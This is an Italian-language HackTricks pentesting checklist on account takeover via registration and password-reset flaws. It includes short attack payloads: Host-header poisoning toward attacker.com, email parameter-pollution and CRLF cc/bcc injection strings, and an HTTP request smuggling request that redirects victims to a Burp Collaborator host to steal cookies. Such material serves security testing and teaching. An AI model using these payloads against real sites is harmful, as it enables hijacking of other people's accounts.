11 KiB
Vulnerabilità di Registrazione e Takeover
Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata su HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri La Famiglia PEASS, la nostra collezione di NFT esclusivi
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR a HackTricks e HackTricks Cloud repos di github.
WhiteIntel
WhiteIntel è un motore di ricerca alimentato dal dark web che offre funzionalità gratuite per verificare se un'azienda o i suoi clienti sono stati compromessi da malware ruba-informazioni.
Il loro obiettivo principale di WhiteIntel è combattere i takeover degli account e gli attacchi ransomware derivanti da malware che rubano informazioni.
Puoi visitare il loro sito web e provare il loro motore gratuitamente su:
{% embed url="https://whiteintel.io" %}
Takeover di Registrazione
Registrazione Duplicata
- Prova a generare utilizzando un username esistente
- Controlla variando l'email:
- maiuscole
- +1@
- aggiungi qualche punto nell'email
- caratteri speciali nel nome dell'email (%00, %09, %20)
- Metti caratteri neri dopo l'email:
test@test.com a
- victim@gmail.com@attacker.com
- victim@attacker.com@gmail.com
Enumerazione degli Username
Controlla se riesci a capire quando un username è già stato registrato all'interno dell'applicazione.
Politica delle Password
Creando un utente controlla la politica delle password (controlla se puoi usare password deboli).
In tal caso potresti provare a forzare le credenziali.
Iniezione SQL
Controlla questa pagina per imparare come tentare takeover degli account o estrarre informazioni tramite Iniezioni SQL nei moduli di registrazione.
Takeover di Oauth
{% content-ref url="oauth-to-account-takeover.md" %} oauth-to-account-takeover.md {% endcontent-ref %}
Vulnerabilità SAML
{% content-ref url="saml-attacks/" %} saml-attacks {% endcontent-ref %}
Cambio Email
Dopo esserti registrato prova a cambiare l'email e controlla se questa modifica viene correttamente convalidata o se puoi cambiarla con email arbitrarie.
Altri Controlli
- Controlla se puoi usare email usa e getta
- Password lunga (>200) porta a DoS
- Controlla i limiti di velocità sulla creazione dell'account
- Usa username@burp_collab.net e analizza il callback
Takeover del Reset della Password
Fuga del Token di Reset della Password tramite Referrer
- Richiedi il reset della password al tuo indirizzo email
- Clicca sul link di reset della password
- Non cambiare la password
- Clicca su qualsiasi sito di terze parti (es: Facebook, Twitter)
- Intercetta la richiesta nel proxy di Burp Suite
- Controlla se l'intestazione referer sta rilasciando il token di reset della password.
Avvelenamento del Reset della Password
- Intercetta la richiesta di reset della password in Burp Suite
- Aggiungi o modifica le seguenti intestazioni in Burp Suite :
Host: attacker.com
,X-Forwarded-Host: attacker.com
- Inoltra la richiesta con l'intestazione modificata
http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
- Cerca un URL di reset della password basato sull'intestazione host come :
https://attacker.com/reset-password.php?token=TOKEN
Reset della Password tramite Parametro Email
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
IDOR sui Parametri dell'API
- L'attaccante deve effettuare il login con il proprio account e accedere alla funzionalità di Modifica password.
- Avviare Burp Suite e intercettare la richiesta.
- Inviare la richiesta alla scheda repeater e modificare i parametri: ID Utente/email
powershell POST /api/changepass [...] ("form": {"email":"vittima@email.com","password":"passwordsicura"})
Token di Reset Password Debole
Il token di reset password dovrebbe essere generato casualmente e univoco ogni volta.
Provare a determinare se il token scade o se è sempre lo stesso, in alcuni casi l'algoritmo di generazione è debole e può essere indovinato. Le seguenti variabili potrebbero essere utilizzate dall'algoritmo.
- Timestamp
- ID Utente
- Email dell'Utente
- Nome e Cognome
- Data di Nascita
- Crittografia
- Solo numeri
- Sequenza di token breve (caratteri tra [A-Z,a-z,0-9])
- Riutilizzo del token
- Data di scadenza del token
Token di Reset Password che Viene Divulgato
- Inviare una richiesta di reset password utilizzando l'API/UI per un'email specifica, ad esempio: testo@mail.com
- Ispezionare la risposta del server e controllare il
resetToken
- Quindi utilizzare il token in un URL come
https://esempio.com/v3/utente/password/reset?resetToken=[IL_RESET_TOKEN]&email=[LA_MAIL]
Reset Password Attraverso Collisione di Username
- Registrarsi nel sistema con un username identico a quello dell'utente vittima, ma con spazi bianchi inseriti prima e/o dopo l'username, ad esempio:
"admin "
- Richiedere un reset password con il proprio username malintenzionato.
- Utilizzare il token inviato alla propria email e reimpostare la password della vittima.
- Accedere all'account della vittima con la nuova password.
La piattaforma CTFd era vulnerabile a questo attacco.
Vedere: CVE-2020-7245
Presa del Controllo dell'Account Attraverso Cross Site Scripting
- Trovare un XSS all'interno dell'applicazione o di un sottodominio se i cookie sono limitati al dominio principale:
*.dominio.com
- Divulgare il cookie di sessione attuale
- Autenticarsi come l'utente utilizzando il cookie
Presa del Controllo dell'Account Attraverso Smuggling di Richieste HTTP
- Utilizzare smuggler per rilevare il tipo di Smuggling di Richieste HTTP (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
\ - Creare una richiesta che sovrascriverà il
POST / HTTP/1.1
con i seguenti dati:
GET http://qualcosa.burpcollaborator.net HTTP/1.1 X:
con l'obiettivo di reindirizzare le vittime a burpcollab e rubare i loro cookie\ - La richiesta finale potrebbe assomigliare alla seguente
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
Hackerone segnala l'exploit di questo bug
* https://hackerone.com/reports/737140
* https://hackerone.com/reports/771666
Takeover dell'account tramite CSRF
- Creare un payload per il CSRF, ad esempio: "Modulo HTML con invio automatico per un cambio password"
- Inviare il payload
Takeover dell'account tramite JWT
Il JSON Web Token potrebbe essere utilizzato per autenticare un utente.
- Modificare il JWT con un altro ID utente / Email
- Verificare una firma JWT debole
{% content-ref url="hacking-jwt-json-web-tokens.md" %} hacking-jwt-json-web-tokens.md {% endcontent-ref %}
Riferimenti
WhiteIntel
WhiteIntel è un motore di ricerca alimentato dal dark web che offre funzionalità gratuite per verificare se un'azienda o i suoi clienti sono stati compromessi da malware ruba-informazioni.
Il loro obiettivo principale è combattere i takeover degli account e gli attacchi ransomware derivanti da malware che rubano informazioni.
Puoi visitare il loro sito web e provare il loro motore gratuitamente su:
{% embed url="https://whiteintel.io" %}
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se desideri vedere la tua azienda pubblicizzata in HackTricks o scaricare HackTricks in PDF controlla i PIANI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri The PEASS Family, la nostra collezione esclusiva di NFT
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repository di Github.